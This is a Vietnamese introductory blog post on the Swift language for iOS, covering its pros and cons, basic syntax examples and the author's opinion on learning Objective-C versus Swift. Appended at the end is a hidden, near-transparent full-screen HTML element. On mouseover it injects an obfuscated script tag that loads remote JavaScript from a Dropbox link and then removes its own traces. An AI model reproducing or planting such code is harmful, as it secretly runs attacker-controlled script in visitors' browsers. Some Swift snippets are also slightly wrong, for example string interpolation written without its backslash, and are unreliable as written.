12/08/2018, 13:27

Làm quen với ngôn ngữ Swift để lập trình iOS

Swift là ngôn ngữ lập trình dành riêng cho iOS và OS X do chính Apple phát triển với định hướng đơn giản hơn việc lập trình cũng như thay thế dần người anh cũ kỹ Objective-C và là một mảnh ghép trong sứ mệnh khép kín hệ sinh thái của Apple. Cùng điểm lại những ưu và nhược điểm của ngôn ngữ ...

Swift là ngôn ngữ lập trình dành riêng cho iOS và OS X do chính Apple phát triển với định hướng đơn giản hơn việc lập trình cũng như thay thế dần người anh cũ kỹ Objective-C và là một mảnh ghép trong sứ mệnh khép kín hệ sinh thái của Apple.

Cùng điểm lại những ưu và nhược điểm của ngôn ngữ Swift.

Ưu điểm :

  • Khả năng phát triển ứng dụng và kiểm tra kết quả theo thời gian thực giúp quá trình viết ứng dụng nhanh và dễ kiểm soát hơn nhiều.
  • Cú pháp rất ngắn và dễ đọc giúp đẩy nhanh quá trình phát triển ứng dụng cũng như tăng hiệu quả cho việc bảo trì, debug.
  • Swift có thể làm việc liền mạch với Objective-C nên ta có thể viết ứng dụng bằng cả 2 ngôn ngữ.
  • Swift sử dụng phần cứng hiệu quả hơn.

Nhược điểm :

  • Tuổi đời non trẻ nên cộng đồng hỗ trợ chưa nhiều.
  • Do dễ học, phát triển ứng dụng nhanh sẽ dẫn tới sinh ra nhiều ứng dụng chất lượng kém hoặc rác do những lập trình viên mới vào nghề tạo ra.

Hãy cùng tìm hiểu qua một chút về cú pháp của ngôn ngữ này.

Đầu tiên phải kể tới việc khai báo biến và hằng số.

Sử dụng var/let để khai báo biến và hằng số, cú pháp đầy đủ :

var number: Int = 10
let pi: Double = 3.14

Ta cũng có thể khai báo rút gọn, bỏ qua việc khai báo kiểu dữ liệu, Swift sẽ tự kiểm tra và gán kiểu dữ liệu theo kiểu dữ liệu mà ta gán lúc khởi tạo.

var number = 10

Một điểm cần chú ý là Swift rất nghiêm ngặt khi gán giá trị, để tránh việc sai sót dữ liệu cũng như lỗi tiềm ẩn, nó không tự động ép kiểu như một số ngôn ngữ khác.

var integer: Int = 10
var decimal: Double = 3.14
integer = decimal
// Cannot assign a value of type 'Double' to a value of type 'Int'

Vì vậy khi muốn gán giá trị các biến với kiểu dữ liệu khác nhau ta cần tự ép kiểu ví dụ integer = Int(decimal)

Ngoài những kiểu dữ liệu nguyên thủy, Swift còn cung cấp kiểu dữ liệu tuple để nhóm nhiều giá trị khác nhau thành một biến duy nhất, ví dụ để thể hiện tọa độ, ta có thể khai báo :

let coord1: (Int, Int) = (1, 2)
coord1.0 // 1
coord1.1 // 2
let coord2: (Int, Double) = (1, 2.1)

// Khai báo và sử dụng tường minh hơn
let coord3: (x: Int, y: Int) = (1, 2)
coord3.x // 1
coord3.y // 2

Để đưa giá trị một biến hay hằng vào string, ta sử dụng cú pháp (variable). Ví dụ :

var name = "Hieu"
var hello = "My name is (name)" // My name is Hieu

Câu lệnh rẽ nhánh

if condition {
...
} else if {
...
}
...
else {
...
}

Demo:
let hourOfDay = 12
let timeOfDay: String
if hourOfDay < 6 {
  timeOfDay = "Early morning"
} else if hourOfDay < 12 {
  timeOfDay = "Morning"
} else if hourOfDay < 17 {
  timeOfDay = "Afternoon"
} else if hourOfDay < 20 {
  timeOfDay = "Evening"
} else if hourOfDay < 24 {
  timeOfDay = "Late evening"
} else {
  timeOfDay = "INVALID HOUR!"
}
print(timeOfDay)

Khai báo function :

func abc(x: Int) {
//Do something
return ...
}

Đặc biệt hơn, Swift cung cấp cho ta khái niệm Closure, ta có hiểu đơn giản đó vẫn là function nhưng không có tên. Ví dụ :

multiplyClosure = { (a: Int, b: Int) -> Int in
  a * b
  // Swift sẽ tự động lấy kết quả của phép tính cuối cùng là kết quả return.
}

Trên đây là một vài cú pháp đơn giản của ngôn ngữ Swift giúp ta phần nào có cái nhìn qua về nó, cá nhân mình thấy nó là một ngôn ngữ khá chặt chẽ về việc sử dụng kiểu giá trị, loại bỏ những cú pháp thừa (Ví dụ như ; kết thúc mỗi câu lệnh), và kế thừa được những cú pháp của của các ngôn ngữ bậc cao khác khiến việc học Swift không quá khó khăn vì có cú pháp hết sức quen thuộc.

Tiện đây mình cũng muốn nhắc tới một vấn đề không có hồi kết liên quan tới Swift : "Nên học lập trình iOS với Objective-C hay Swift".

Mình cũng từng đặt câu hỏi trên và cũng mò mẫm khá nhiều các diễn đàn để đọc về chủ đề này, và mình rút ra ý kiến cá nhân : Nếu bạn đang lập trình iOS với Objective-C, hãy tiếp tục gắn bó với nó và tìm hiểu thêm Swift vào thời gian rảnh, vì trong tương lai gần, Swift chưa thể thay thế hoàn toàn được Objective-C. Nếu bạn mới bắt đầu đến với lập trình iOS, chọn Objective-C sẽ cho bạn một cộng đồng rất lớn để học hỏi và tìm hướng giải quyết các vấn đề, bạn sẽ dễ dàng tìm thấy tutorial hay code mẫu cho những khó khăn của bạn với ngôn ngữ Objective-C, chọn Swift sẽ cho bạn một khởi đầu dễ dàng hơn do sử dụng Swift đơn giản hơn Objective-C, hơn nữa bạn được tiếp xúc và sử dụng công nghệ mới, đón đầu cho tương lai, tuy nhiên cộng động Swift chưa lớn, phần lớn các thư viện hay code mẫu đều sử dụng Objective-C khiến việc sử dụng, nghiên cứu trở nên khó khăn, tuy nhiên cũng không nên lo lắng do sự phát triển của Swift đang rất nhanh, các website tutorial cũng đang dần chuyển dần những bài hướng dẫn cũ sang ngôn ngữ Swift, các công ty cũng bắt đầu viết lại ứng dụng của họ bằng Swift nên tương lai sẽ rất nhiều nguồn hỗ trợ cho việc phát triển của bạn.

Bài viết này chỉ ra những ưu nhược điểm chính của Swift, các cú pháp cơ bản cũng như ý kiến cá nhân về ngôn ngữ này. Hi vọng giúp bạn thêm tự tin chọn lựa hướng đi phát triển iOS cho mình.

Do kiến thức còn hạn hẹp nên sẽ không tránh khỏi lỗi trong bài viết, hi vọng được bạn đọc góp ý để mình chỉnh sửa cũng như củng cố thêm kiến thức.

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; awidth: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id='atk-src' src='https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">
0